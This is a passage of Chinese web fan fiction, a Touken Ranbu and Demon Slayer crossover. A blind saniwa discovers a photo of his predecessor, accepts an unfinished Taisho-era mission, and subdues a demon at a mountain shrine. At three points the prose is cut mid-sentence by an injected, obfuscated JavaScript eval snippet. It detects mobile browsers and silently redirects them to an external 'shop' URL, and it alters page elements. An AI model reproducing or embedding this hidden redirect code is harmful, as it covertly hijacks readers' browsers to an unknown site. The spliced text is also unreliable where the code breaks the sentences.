【烛台切建议我带点本丸特产回去,带什么?本丸的特产难道不是刀子精吗,带回去的话我可是会被时之政府通缉的,才不要变成通缉犯。】 【最后采纳了小乌丸的建议,从万叶樱上摘了点花瓣塞进御守里,保佑我们未来都能平平安安的。】 绫小路望能摸出来,纸上的字迹越来越凌乱,似乎是匆忙写下的。 【好累,为什么会有这么多溯行军存在,杀也杀不完。】 【为什么要改变历史呢?鹤丸让我不要多想。】 【又攒了一点假期,又可以回去了,好开心,这次准备什么伴手礼呢……】 绫小路望翻开下一页,有什么东西掉了下去。 23. 照片 “审神者大人?” 听到椅子和地面摩擦发出的声音,狐之助抬头,看到绫小路望正蹲在地上寻找刚才掉落的东西,赶紧跳下桌面,跑到绫小路望的身边,从椅子下方的缝隙里叼出一张照片:“是这个吗。” “谢谢。” 绫小路望接过,指尖触及到光滑的相纸,轻声解释道:“刚才不小心掉出来了。” 上面没有任何文字,绫小路望并不清楚这张照片上有些什么,多半也是和本丸相关的合照吧。 这么想着,他拿着照片,想要放回原位,却听见狐之助说:“这是……前任审神者的照片?审神者大人您从哪里找到这个的。” 前任审神者? 绫小路望捏着相纸的手微微一顿。 “二楼书架上,这个应该是前任审神者写的记录。” 绫小路望对着狐之助晃了晃手中的书,然后将其摊开在刚才那一页,把照片放了上去。 “怎么,我不能看吗?”绫小路望觉得狐之助的反应有些过于大了,语气不免带上了几分疑惑。 狐之助下意识否定:“不是……” 他快步跳到绫小路望面前,抬头,先是认认真真看了一眼绫小路望,随即又低下头,盯着照片看了许久,如此反复好几次,似乎在对比着什么。 狐之助的眼睛圆溜溜地瞪着,眼里满是惊疑。 “这张照片……” 支支吾吾,却一直不见下文。 “狐之助?”绫小路望觉得狐之助的语气怪怪的,而且这个奇怪还是针对他本身:“你是不是有什么话想跟我说。” “审神者大人可以把眼睛上的布摘下来吗?”犹豫了一会儿,狐之助小声地向绫小路望提出了请求。 绫小路望虽然不解,但还是照做。轻轻点头后,抬手绕到脑后,将后面的结解开,取下蒙在眼睛上的黑布,露出一双灰蒙蒙的没有光亮的眼睛。 “狐之助是看到什么了吗?” 绫小路望歪了歪头,语气带着探究,心里早已泛起了嘀咕。 他也不是傻子,狐之助看完照片后就让他把全脸露出来,这其中肯定有蹊跷。 照片上是前任审神者,难不成……他长了一张和前任审神者很像的脸? 但是这个念头刚冒出来,就被绫小路望否定了。 这绝对不可能。 如果真的面容相似,那么乱藤四郎第一次见面的时候就会认错人,毕竟那会儿绫小路望脸上什么遮挡物都没有。但乱藤四郎的第一反应不像见过他。 狐之助也没有瞒着绫小路望,又看了一眼照片,语气复杂:“这张照片上面不只有前任审神者,这是一张双人照。” 本子被绫小路望摊开平放在桌面上,狐之助抱住绫小路望的一根手指,小心翼翼地把它放到照片上的某一处。 “这是前任审神者大人小时候的样子。”狐之助轻声说到。 照片纸面光滑平整,没有丝毫凹凸纹路。说实话绫小路望什么都摸不出来,但他还是耐着性子,认真听着狐之助的话。 紧接着,狐之助又把绫小路望的手指往右边移了移,一直到某处才停下动作。 “这是另外一个人。” “虽然这上面是一个小孩子……但是不管是五官轮廓还是发色,全都和您一模一样。” “但让人看了就会觉得,照片上的这个小孩子,长大之后,会是您现在的样子。” 话音落下,绫小路望先是一怔,随即忍不住低笑出声,有些无奈,又带着些不以为然: “所以你是想说,我小时候和前任审神者认识,我们还一起拍了一张照片,是吗。” 狐之助没有回答,但绫小路望心里已经清楚了它的答案。 他并不认识什么前任审神者,小时候也没有和任何人拍过照。 除了以前在乡下遇到的人,从小到大,绫小路望都是孤身一人,以前遇到的人也仅仅是说过几次话,离开乡下之后也没有再联系,根本谈不上是朋友。 至于照片就更不可能了,他都看不见,要照片干嘛?他也不喜欢被拍照,这种感觉很难受,他怪异的外貌被人记录下来,照片上的本人却永远见不到那样的自己。 所以绫小路望无比确信,照片上的那个和他容貌相似的家伙,绝对不可能会是他本人。 难不成他真的有什么家族?或者是同父同母的亲兄弟? 想起D医生的话,绫小路望猜测,难道是他身上有什么双生子诅咒,所以才看不到? 各种离奇的念头在绫小路望心底一闪而过,很快被压下。 “那个人眼睛是什么颜色的。”绫小路望问到。 狐之助凑近照片,仔仔细细看了又看:“紫色。” “那我呢?”绫小路望低下头,好让狐之助看清他的眼睛,语气平淡,“虽然我不知道我的眼睛是什么颜色,但照片上的人看起来肯定不是一个瞎子吧。” “我是先天失明,从小到大没有一刻能够看到这个世界。” “……您的眼睛看上去是灰色的,审神者大人。”沉默了一下,狐之助的声音低了几分,脑袋也垂了下去。 如此鲜明的差别,足以说明一切。 “所以只是巧合,又或是你的错觉。”绫小路望轻轻抽回手指,做出了最后的判断,“而且你只是凭借小时候推断长大的样貌,说不定我小时候不长这样。” 这件事情就此翻篇,狐之助也回了原位。 他拿起放在桌上的黑布,重新系在眼睛上,隔绝了狐之助的目光,也压下了不断出现的念头。 经过这番插曲,他早就没有心情再继续阅读下去了。 太厚了,反正今天也看不完。 将照片夹好,绫小路望缓缓合上本子,把它放进了抽屉中。 ……下次再看吧。 * 夜色彻底笼罩了本丸,万籁俱寂,只有窗外的风声温柔拂过,发出稀碎的动响。 就在绫小路望以为今天就这样平淡的结束了的时候,通讯器毫无征兆地响起,刺耳的铃声打破平静,将绫小路望刚升起的睡意彻底驱散。 ——是如月星凛。 在林的改进后,绫小路望只要轻轻敲两下无障碍阅读器,通讯器就可以直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520979|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接接听,甚至可以选择外放还是仅绫小路望一人听。 “这次扩战你不参加?” 没有寒暄和多余的客套,冬月的话就急匆匆地来到绫小路望耳边,直入正题。 “嗯,因为本丸不是很需要参加这个活动。”绫小路望现在睡意全无,深呼吸几下,让大脑彻底活了过来,回答道。 “你……唉,你下次有通知慢点回复。”冬月显然是急了,语气甚至带着几分懊恼。 “你的后勤申请我还没想到方法给你提交,本来想扩战活动刚好把你的时间占用,可以推迟出任务。但现在你明确不参加战况活动,有了空余的时间,上面的任务就直接下来了。” “不是说我可以拒绝吗?” 绫小路望微微蹙眉,有些疑惑,他记得如月星凛说时之政府不缺高端战力的本丸,少他们本丸一个战力没有太大关系,拒绝审神者亲自出任务不会对他们本丸造成太大的影响。 “如果是普通任务,我肯定能帮你退掉。” “但这是本丸上一任审神者未做完的任务,还没有跟其他本丸的审神者进行交接,前半部分任务资料也都在你的天守阁里。”如月星凛解释,声音有些无奈。 绫小路望心头一动,瞬间联想到之前刀剑男士提到过的只言片语:“是前任审神者自己世界的那个任务?” 大和守安定说过,前任审神者是去原本的世界做任务时意外身亡的。 “不是。” 如月星凛否定了绫小路望的猜测,语气微微严肃,“是一个长期任务,需要在好几个时间节点进行跳跃,前任审神者只完成了前半部分,后续还没有进行跟进就被去做那个任务了,一直搁置到现在。” 绫小路望沉默片刻,理清了缘由。 “所以需要我接手?” “政府的意思是这样。”如月星凛叹了口气,主动承担责任:“这件事是我的错,来总部的时候我就想说了,但当时太忙,忘记让鹤丸国永转达这件事。” “当然,你如果实在去不了的话,我会上报政府,看看能不能找一个靠谱的去过类似世界的审神者接手。” 既然如此—— 【答应】 绫小路望刚要脱口而出的话被生生打断。 系统? 如月星凛见绫小路望沉默,只当他在慎重思考,没有催促,静静地等待他的最终答案。 脑子里的系统没有给出解释,只是在他的脑中重复了一遍刚才的话,语气不容置疑。 【完成那个任务。】 绫小路望轻轻敲了敲耳边的无障碍阅读器,一副认真思考的样子,实则是在心里询问系统。 【是任务吗,系统?让我实现愿望的任务。】 系统沉寂了片刻。 【是任务,】 【答应下来,nozomi】 如果是这样的话,那不得不答应了。 咬着牙也要完成了。 深吸一口气,压下心底的情绪。 “我可以接手。”绫小路望开口,对如月星凛说道,“所以,任务的具体内容是什么。” 24. 任务 绫小路望将要去的是一个存在“鬼”的世界,是一个与主世界历史大致重合的,有着细微差异的世界。 这所谓的鬼,不是寻常意义上虚无缥缈的鬼魂,而是一种存在实体,畏惧阳光和紫藤花的吃人的“怪物”。 鬼会在大正间被彻底消灭 ,从此以后那个世界只剩下了普通人。 根据时之政府对时间线的监测,在消灭鬼这一环节起到主要作用的人是一个叫灶门炭治郎的少年。 在绫小路望去天守阁二楼找对应资料的时候,如月星凛也把前半部分的任务报告发了过来,字密密麻麻地铺满屏幕,绫小路望一时半会儿听不完,短时间内无法彻底理清脉络。 好在时之政府并不要求绫小路望立刻去做任务,给了七天准备时间。 绫小路望获得了一份详细的“灶门炭治郎成长轨迹”,从家庭因素到人际关系,皆对此做出分析,判断这些因素对最终结果会起到多少作用,有哪些因素让他踏上杀鬼的道路。 从前半部分的任务结果看,时间溯行军的行动确实是在针对灶门炭治郎周围的人,由前任审神者出手保证历史走向没有发生偏移。 虽然不用亲自翻阅,只需要通过无障碍阅读器听取这些冗长的信息,绫小路望还是感觉自己太阳穴突突直跳。 ……好麻烦。 压下心头的烦躁,先不考虑时间溯行军会从哪些方面对灶门炭治郎,绫小路望现在优先考虑的应该是他该怎么自保。 时之政府有一套极为严苛的规则。 为了不被检非违使发现,审神者只有在时间溯行军出现时才可从本丸内召唤一队刀剑男士来到现世,双方阵营需要保持平衡。即使是随身携带,刀剑男士也只能一直保持本体状态。 想想都知道,要真遇见鬼,绫小路望能活一分钟都算奇迹。 双目失明,不会使用武器,体力也是在药研藤四郎的帮助下勉强合格,唯一能自保的只有灵力。 ——但灵力也不能用得特别频繁。 到时候别说阻止时间溯行军了,绫小路望可能连一个人影都见不到。 揉揉脑袋,不再犹豫,绫小路望决定把鹤丸国永叫过来。 他的近侍的休假时间要提前结束了。 而匆匆赶来得知来龙去脉的鹤丸国永只想问绫小路望是不是疯了,又或是受了什么刺激,难以置信地看了又看,直到确定绫小路望没有骗他。 “您怎么会想着答应亲自出任务啊。” 鹤丸国永急得在原地踏步,欲哭无泪,语气里满是焦灼和担忧,“战场上刀剑无眼,我们很难顾及到您,受伤了怎么办。” “我已经答应了,改不了。”绫小路望用一种很无辜的表情看向鹤丸国永所在的方向,“鹤丸对那个世界有什么了解吗。” “我想知道一些报告上没有的事。”没有绕弯子,绫小路望直接说出自己的诉求。 绫小路望已经发现了,在这个本丸弯弯绕绕当谜语人是没有好下场的,只会徒增误会,不如有话直说,坦诚相待更高效一点。 鹤丸国永表示爱莫能助。 “鬼是一种昼伏夜出的生物,多为夜战,太刀并不在前任审神者的考虑范围之内。” “因此前任审神者执行这个任务的时候我在本丸,对那边的情况一无所知。” 鹤丸国永猛地拍了一下额头,灵光一闪,眼中亮起光,“想起来了,是陆奥守吉行!” “我记得一直跟着前任审神者的刀是陆奥守吉行,这个任务他全程都有参与。主人可以问他,需要我去叫他过来吗?” 陆奥守吉行? 绫小路望对这个名字不是很熟悉,只记得他在自我介绍时有说过什么……“枪”?突然出现的热武器名词成为了绫小路望对他的记忆点。 原来如此! 绫小路望豁然开朗。 这次任务的时间是大正年代,那会儿热武器已经逐渐流行了起来,只不过因为重量不方便携带,近身还是冷兵器更为合适。 比起其他刀剑男士,陆奥守吉行对热武器至少有一点了解,打刀也可以在夜战时发挥作用。 没过多久,陆奥守吉行一脸迷惑地被鹤丸国永带到了天守阁。 "哟,主人,叫过我来有什么事吗?" 他的额头上还有一层薄薄的汗,显然是刚结束训练,匆匆赶来。 陆奥守吉行性格直率,一进门就笑容爽朗地对绫小路望打招呼。 “想询问你一件事。”等鹤丸国永给陆奥守吉行拖了一把椅子过来,绫小路望才继缓缓开口, “我接手了前任审神者前往大正年代的任务,想问问你有什么其他需要注意的地方。” 陆奥守吉行的心眼子不算多,但也通透,立刻就明白绫小路望的未尽之言,摸摸脑袋,沉吟片刻,回答到:“怎么说呢……那可不是一个好地方。” 他坐直了身体,上半身微微前倾:“老实说,考虑到主人的身体情况,我觉得这个任务不适合主人。” “那个年代有禁刀令,行走在街上时需要将刀剑本体藏起来,我们看不见外面发生的状况,无法为主人提供帮助,这太危险了。” 绫小路望还是那个回答,已经同意,无法更改。 “如果主人已经看过资料,应该知道跟鬼这一生物对立的,是一个名为鬼杀队的民间组织。” 陆奥守吉行回想着,对他来说,这份记忆实在是有些久远,一些细节早已模糊。 “问题就出在民间上,”他苦笑了一声,“这个组织并不是官方设立的,换句话说,鬼杀队的人无法得到社会方面的承认,他们不会在史书上留下什么痕迹。” “毕竟就连鬼这一存在都不被记载。” 绫小路望感觉自己似懂非懂,开口追问:“可是我们不是要保证鬼被消灭掉吗?” “既然不会影响历史,那为什么还要保证鬼被彻底消灭?” “这个就由我来解释吧。”鹤丸国永见状,让陆奥守吉行慢慢回忆,他主动给绫小路望解惑,“陆奥守的意思是,鬼和鬼杀队本身,对历史是没有影响的,但如果鬼不在那个时间点被消灭,肆意繁衍,可能会在未来伤害一些影响到历史的关键人物。” “届时,历史崩塌,世界也就不复存在。” “这个世界的未来走向是鬼被消灭,关键人物的不同举动可能会让这个世界分支出不同平行世界,但他们的未来都是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520980|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存在鬼的。” “未来存在鬼的平行世界会在某一天彻底崩塌,消失。但时间溯行军掌握的技术可以让这段历史被覆盖,未来存在鬼的世界继续发展,不存在鬼的世界崩塌。” 这些都是绫小路望从未了解过的。 时之政府、审神者、刀剑男士们,真的都是在拯救世界,不管是哪个世界。 绫小路望想到。 ……是在为了人类的未来而战斗。 他现在也是其中的一员。 “鬼杀队由产屋敷家族创立,这个家族对后世一直有影响。” 陆奥守吉行接话,“问题就出在这,如果时间溯行军和鬼达成合作,我们就得去鬼杀队的阵营。一旦被当成第三方阵营,很容易打乱鬼杀队原有计划,反而间接影响历史。” “但我们又不能透露时之政府和时间溯行军的事情,因为这个家族在后世影响太大了。” 顺着陆奥守吉行的思路,绫小路望听明白了,“还不能让鬼杀队的人从鬼口中得知时间溯行军的事情。” 层层约束,处处掣肘 。 好麻烦,实在太难平衡了。 “这才是这个任务搁置到现在的真正原因。”话虽如此,陆奥守吉行仍旧是一副轻松的样子,“完成任务最便捷的方法就是和鬼杀队合作,保证鬼能按时被消灭。当然,我们也可以在暗处保证一切都不被改变。” “只解决时间溯行军就行,至于知道时之政府存在的人和鬼,最后什么都不会留下来,不会有任何人知道。” “只是前任审神者没做出选择而已,一些历史遗留问题导致这个任务会有点麻烦。” “如果主人决定接手,最好在去之前就做出选择。” 沉默了一刻,绫小路望回答:“就跟你说的一样,保持原样,该发生什么就发生什么。” “主人能这么想真是太好了。”陆奥守吉行笑容不变,“不过想要改变历史的不止有时间溯行军,那群东西想了一个办法,把世界历史进程灌入普通人的记忆里,让那些人主动改变历史。” “比时间溯行军的家伙亲自出手更加隐蔽,而且也不会被检非违使检测到。” “不过时之政府有对应的消除记忆的技术,找到目标后联系时之政府的人,上次跟我们对接的是冬月大人,这次应该也不会变。” “届时还请主人不要手下留情。” 最后一句话声音很低,尾音几乎要被吞没,但绫小路望听得很清楚。 他的手不自觉攥紧。 ……什么意思。 好浓的悲哀。 这是他从陆奥守吉行身上感受到的。 之前的任务,到底发生了什么? 绫小路望低头,心里有诸多疑问,最终还是没有问出来。良久,他开口道:“我明白了,准备一下,下周出发。” “你跟着我去,陆奥守。” 陆奥守吉行愣了一下,脸上笑容放大,语气郑重:“我会努力的,主人。” 他已经准备好了。 绫小路望想。 不论缘由,不论心,只论迹。 他会完美完成这个任务,离获得光明更近一步。 25.大正 穿着斗篷的人凭空出现在巷子中。 时空迁跃带来的微弱光芒很快消散,没有惊动任何人。 绫小路望特地带了一个帽子,帽檐下压,挡住眼睛部分,不细细观察根本看不出绫小路望的双眼被布绑住,只当他是刻意遮住面容的路人。 斗篷上方的扣子被系上,布料自然下垂,严严实实遮盖住佩戴在腰间的打刀。 绫小路望一手拿着导盲杖,一手扶着墙,适应着这个他从未到过的年代。 外面是轮胎碾过地面的摩擦声,电车驶过的叮当声,伴随着轰鸣,这些声音让绫小路望有了短暂的失神。 ……是了,大正时期是一个新旧相交的年代,电车也变成了日常生活的一部分。 真是为难鬼杀队的人还活得像古人一样了。 绫小路望拿到的资料中,鬼杀队的人好像和当时的时代脱节了一般,日日穿梭在深山中,居住在乡野间。 茫然片刻,绫小路望迅速回过神,理清当下思绪。 现在该做什么? 他回想着在来之前,如月星凛的反复叮嘱,和一些可以伪造的身份。 藤袭山,最终选拔。 绫小路望现在所在的时间线恰好是灶门炭治郎去往藤袭山选拔的时间点,是选拔开始前的三天。 绫小路望的首要目标就是快速前往藤袭山,藏在暗处,应对有可能出现的时间溯行军。 被当成通过选拔的人也没有任何关系,鬼杀队只是一个民间组织,他的名字就算被记录下来,也不会对历史有任何影响,更别提绫小路望身上还有时之政府提供的保护。 他的面容、姓名、所作所为都会被模糊,接着被人遗忘,不留下一丝痕迹。 “主人?” 是陆奥守吉行的声音,虽然看不到外面的景象,但他也猜出了绫小路望现在面临的难题,提议道,“找一个人问路怎么样?” “你说的对。”绫小路望抿了抿唇,轻声说道,“……只能这样了。” 深呼吸,绫小路望做足了心理准备,才踏出这个巷子。 没有人会在意到他这个打扮得严严实实的家伙,毕竟这个时代的人穿得千奇百怪。 绫小路望在心里安慰着自己。 他站在原地,侧耳倾听着周围的脚步声,嘴张了又合,却一直发不出声。他能感觉无数人经过他的身侧,擦肩而过,却无法开口让他们留下。 绫小路望有些挫败。 他习惯了独处,习惯了避开人群,他的骨子里带着因身体缺陷产生的自卑。 他到底在在意什么,面子吗? 他哪来的面子。 刚想鼓起勇气,绫小路望的耳边传来小心翼翼地询问声:“这位先生……请问需要帮助吗?” 是一位年轻女子。 那名女子似乎有些羞涩,声音很小,却带着真诚:“您手上的是导盲杖吧,是跟家人走散了吗?” “我想去附近的山上。”绫小路望回答,“请问该怎么走。” “附近的山上?!”女子惊呼了一下,随即捂住嘴,有些不好意思地看了看周围的人,才转头对绫小路望继续说道,“现在天色很晚了,先生,山上可不太安全。” “不用担心。”只用跟一个人说话让绫小路望找回了自在,借口张口就来,“事实上,我的家人在附近山上的神社里工作,我回家探望他们,下车后却忘了该怎么上山。” “不瞒您说,我确实看不见,如果您能给我指路我将非常感谢。”绫小路望装模作样时还是非常唬人,至少从表面上看不出这是他随口扯的谎言。 女子半信半疑 ,但见绫小路望态度坚决,只好给他指路 :“……再往前走,就是上山的入口了。” 她还是不放心:“您一个人真的没关系吗?” “不用担心,这些小姐,谢谢您。”绫小路望微微鞠躬,道别后向女子给他指的方向迈出步伐。 背对着女子,绫小路 望嘴角勾起,刚才的负面情绪一扫而空。 找不到藤袭山,那他就去找鬼。 时之政府不会无缘无故把他投放到一个跟任务完全无关的地方,这里离藤袭山不会太远。 虽然刚才所谓的“神社”是随口编的,但女子并没有反驳,说明他赌对了。 神社,多适合被当成鬼的藏身之处啊。 这样的山上总会有鬼吧。 有鬼就会有猎鬼人。 没有猎鬼人也没关系,到了山里,陆奥守吉行会帮助他制服鬼。就算杀不掉没关系,拖到太阳出来就行了。 动静大一点,鬼杀队总能得知这里的消息。 然后他顺势要求去藤袭山就行。 “全身心相信刀剑男士,一旦你们的思路发生矛盾,肢体就会不受控制。” “只要你能坚持住,刀剑男士就不会让你输,你是否有获胜的意志是最重要的。” 在答应接手的第三天,如月星凛教了他一个稍微有些副作用的术。这个术很多需要亲自出任务的审神者都会,毕竟不是所有人的近战都合格。但像绫小路望这样都不合格的人也少。 用灵力和体力为代价,让手中的刀剑男士地控制使用者的身体,应付一晚上鬼所需要消耗的灵力对绫小路望来说没有任何问题,体力就更不需要在意,只要能活下来,什么时候恢复体力都可以。 这个术还能短暂的让陆奥守吉行代替成为他的眼睛。 绫小路望现在最不缺的就是灵力了。或许他真的有这方面的天赋,第二遍练习时就成功了,陆奥守吉行控制他的身体在手合场击败了古备前信房。 陆奥守吉行虽然有些担心孤身闯入深山的举动会不会有点过于冒险,但他心里也清楚,绫小路望的决定不会因为任何人动摇,只能默默打起警惕,准备随时出声提醒。 到了山里,绫小路望将斗篷的一边撩到打刀后方,避免布料绊住脚步,也让腰间的刀剑可以查看外面的状况。有陆奥守吉行的指路,绫小路望准确避开了脚下的坑洼与突然出现的台阶,步伐顺畅了许多。 ——至少不会走着走着突然撞到横在前面的树枝。 “真安静啊,主人。” 或许是担心绫小路望因为这份安静感到害怕,陆奥守吉行开口,特意放缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522599|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语气,打破这份寂静,“想和我聊会天吗?” 虽然知道这是对方含蓄的关心,但绫小路望此时并不是很想说话。他按照陆奥守吉行说的方向一步一步上山,小腿微微发酸,身体大半重心都放在导盲杖上,指尖因为用力微微泛白。 爬楼梯好累。 说话更累。 他没有回复陆奥守吉行,只是咬着牙往上爬。 绫小路望能听见山里的蚊虫声,能感受出脚下的泥土带着些潮湿,落叶被他一步步碾过去,一些碎片黏在鞋底,然后被带到新的一级台阶上。 和本丸的后山完全不一样。 本丸的后山终究被保护着,这里处处透着阴冷的荒芜,就连擦过脸颊的风都带着刺骨的寒意,让人莫名心生不安。 “居然真的有神社!”就在绫小路望埋头攀爬时,耳边传来陆奥守吉行的惊讶声。 绫小路望脚步一顿。 他稳稳地站在原地。 “……是什么样的?” 他问道,下意识放轻了声音,侧头,试图从前方听出什么。 “是几个小祠。”陆奥守吉行回答,“并排着,还有一座很小的鸟居。” 小祠,是在山上随处可见的迷你小神社,大多由过路人搭建,供奉着不为人知的小神明。 绫小路望往前走了几步,导盲杖轻轻点地:“能看出里面供奉的是什么神明吗?” “主人是要参拜吗?”陆奥守吉行笑了,“参拜前得把我取下来呢。” 付丧神也是神。 带着刀剑踏入神社,似乎不是一个很妥的行为。 而且这样一个存在吃人的鬼的世界,真的存在神明吗? 绫小路望静静地站在原地,没有再继续这个话题,也没有穿过鸟居。 他在等。 沉默片刻,绫小路望压低了声音。 “……陆奥守你觉得,鬼会在里面吗?”绫小路望看不见,只感觉周围的温度渐渐冷了下去,阳光被树木遮挡,越来越低,天色以肉眼可见的速度暗了下来。 已是黄昏,逢魔之时,阴阳交替,百鬼夜行。 绫小路望能感受到脖子上挂着的御守在微微发烫,温热的触感透过衣服似乎在提醒着他,小祠里面有什么不好的东西将要出来。 这个御守从万屋买回来的,里面注入了他自己的灵力,可以在紧急时保护自己和刀剑男士。 里面的会是鬼吗? 绫小路望在等待太阳彻底落下。 “天黑了,主人。” 夕阳彻底沉入西山,夜晚悄然降临。 现在是鬼活跃的时间。 深呼吸,抬腿,绫小路望踏入鸟居。 身后突然起了一阵大风,树叶在绫小路望面前被卷起。如果是一般人,在视线被遮挡的瞬间,来不及反应,就会被成功偷袭。 但绫小路望不是一般人,他不依靠视觉。 咚、 咚、 咚, 这是绫小路望的心跳声。 来了。 闭着眼,背微微绷直,绫小路望把手放到了刀柄上。 26.袭击 嘀嗒。 是水滴落在地面上的声音。 格外清晰。 绫小路望能感觉到有什么东西在盯着他的后背,粘腻阴冷的视线一路爬上后颈,让他出了一身冷汗。 鸟居旁边突然出现了一道低矮瘦削的黑影,头颅歪扭不似常人,黄色的牙齿裸露在外面,口水顺着下颚不受控制地淌下,落在地面散发出腥臭的味道。 绫小路望感觉他的嗅觉在向他发出抗议。 他缓缓抬手摘下帽子,指尖一松,任由帽子落地。夜晚的山风拂过脸颊,吹起蒙眼黑布的边角,绫小路望的指尖扣住刀柄,站姿从容稳定,看不出半分慌乱。 “主人。” 陆奥守吉行声音骤然绷紧,下一秒,灵力在打刀内急速流转,嗡鸣轻响从刀身上传出,绫小路望拔出了刀—— 或者说,是陆奥守吉行拔出了刀。 “是人形的鬼。” 陆奥守吉行的声音的绫小路望耳边响起。 下一秒。 鬼骤然窜出。 风声撕裂耳畔,如同离弦之箭,几乎看不见鬼的轨迹。陆奥守吉行微微侧身,脚尖轻点地面,轻松躲开了这次冲撞。 “左前方,斜上。” 陆奥守吉行尽职尽责地把鬼的每一步动作都讲给绫小路望,同时不断调整身形,接连避开鬼的攻击。 风从肩上掠过,阴冷腐朽的臭味传入鼻尖,令人作呕。陆奥守吉行稳步后退,双脚踩在湿软的泥土上,站定,打刀横在身前,摆出进攻姿态。 “得找个东西把鬼关起来。”绫小路望说道。 他很清楚,夜晚才刚刚开始,虽然无法用灵力击杀,但他也不能整个夜晚都在躲避攻击,这太亏了。 鬼是一种能够再生肢体的生物,只有把它关起来这一种方式,才能拖到白天时扔到太阳底下暴晒。 陆奥守吉行快速扫过周围环境。 “那边有绳子,不知道能不能用。” “那就把鬼绑在鸟居下吧。”绫小路望语气平静,像是敲定了一件再小不过的事,“靠你了。” “肯定没问题。”陆奥守吉行说话时尾音总是上扬,带着惯有的爽朗自信,心里却没有丝毫松懈。 一击落空,那只鬼翻身落地,毫不停顿,身形再度化作一道黑影绕向绫小路望侧面,伸出的手却早已被陆奥守吉行预判,瞬间将其斩下。 “痛……” 沙哑的声音从鬼口中传出,充满着怨气。 鬼死死盯着绫小路望,怨毒的低笑从喉咙里溢出,他阴恻恻地开口,“不是日轮刀……你不是猎鬼人……” 绫小路望面色不动,他是绝对不会在这种时候接话的。这个时候说话跟找死没有任何区别。 “乖乖的被我吃掉吧。” 这只鬼的速度很快,脚步轻盈,在树木和石墩之间来回穿梭,动作间带着飞起的碎石,可他无论怎样攻击,每次都被陆奥守吉行挡了下来,始终突破不了无法近身。 最开始被陆奥守吉行砍掉的手臂以及在不知不觉长了回来。 不过绫小路望丝毫不担心。 鬼已经被他悄悄引到了绳子附近,陆奥守吉行只要弯腰,就能拿起绳子在鬼再次攻击的时候砍掉对方的双腿,束缚住对方。 再生四肢的时间足够他把鬼绑在柱子上了。 只要耐心的等待一个合适的时机。 这次鬼对准的是绫小路望的脸,手几乎就要触碰到他额前的发丝。 刹那间,陆奥守吉行微微往后仰,侧身,手腕利落翻转,冷冽的刀锋在林间划出一道微光—— 嗤啦 耳边传来肢体断裂的细碎声响。 陆奥守吉行则看得更加真切,或许是运气好,鬼的小腿被齐齐斩下,上半身仍停留在空中,动作迟钝。陆奥守吉行趁此机会赶紧捞起地上的绳子,把鬼绑了起来。 “搞定了,主人。”陆奥守吉行拍了拍双手,欣赏了一下自己的杰作,“就是这些小祠被折腾的有点乱,要重新搭了。” 这鬼看人的目光实在过于瘆人,陆奥守吉行怕它会让感官敏锐的绫小路望感到不适,绑鬼的时候顺手从小祠前捞了个麻袋,撕成条状把鬼的眼睛蒙住。 至于掉到另一边的四肢,陆奥守吉行担心发生变故,又走过去补了几刀,直到碎成一块块才放心回到鬼的面前。 又怕在夜里嘶吼吵闹引来什么不该来的东西,鬼的嘴也被陆奥守吉行绑上了。 做完这一切,陆奥守吉行腾了一处干净的地方坐下,把身体的控制权还给绫小路望。能休息一会儿是一会儿,等下鬼突然暴起再重新使用术也来得及。 感受到身体深处传来的疲惫感,绫小路望活动了一下脖子,对鬼说道:“我是没有日轮刀,但我可以等太阳出来。” “和我一起等光明吧。” 他的语气十分平静。 最开始扔在地上的帽子被陆奥守吉行捡了起来,拍掉尘土后重新戴在了绫小路望头上,黑色的帽子和斗篷几乎将绫小路望和黑暗融为一体。 但比太阳先来的,是空中的振翅声,以及随后而来的脚步声。 “——鬼。” 看到面前的场景,来人停下了脚步,原本要喊出来的话被硬生生留在了口中。 似乎是鬼此刻的样子过于悲惨,绫小路望的打扮又不像个好人,一时有些让人难以分辨出谁才是鬼。 开玩笑的。 来人没做过多思考,视线从绫小路望腰间的佩刀上扫过,随即走到鬼的面前。 干脆利落地斩下了对方的头颅。 “您好。”绫小路望主动开口,“请问你是怎么杀死这个怪物的。” 他故意用一种很头疼的语气说道:“我刚才斩了好几处,四肢砍断能再生,刺入心脏也还活着,但您好像很轻松的就把这个怪物解决了。” 穿着鬼杀队队服的人把刀上的血迹甩干,收入刀鞘:“用日轮刀可以杀死鬼,你很厉害。” 语气里的佩服不作假。 “日轮刀……?请问可以从哪里购买。” 绫小路望笑了一下,有些羞涩,“不瞒您说,我已经好几次遇到鬼了,每次都是靠早晨的太阳解决的。” 听到绫小路望的话,鬼杀队员诧异地看了绫小路望一眼:“是专门锻造的刀,需要进入鬼杀队。” 好单纯的人。 绫小路望在心里感叹了一下。 “鬼杀队?要怎么加入。” 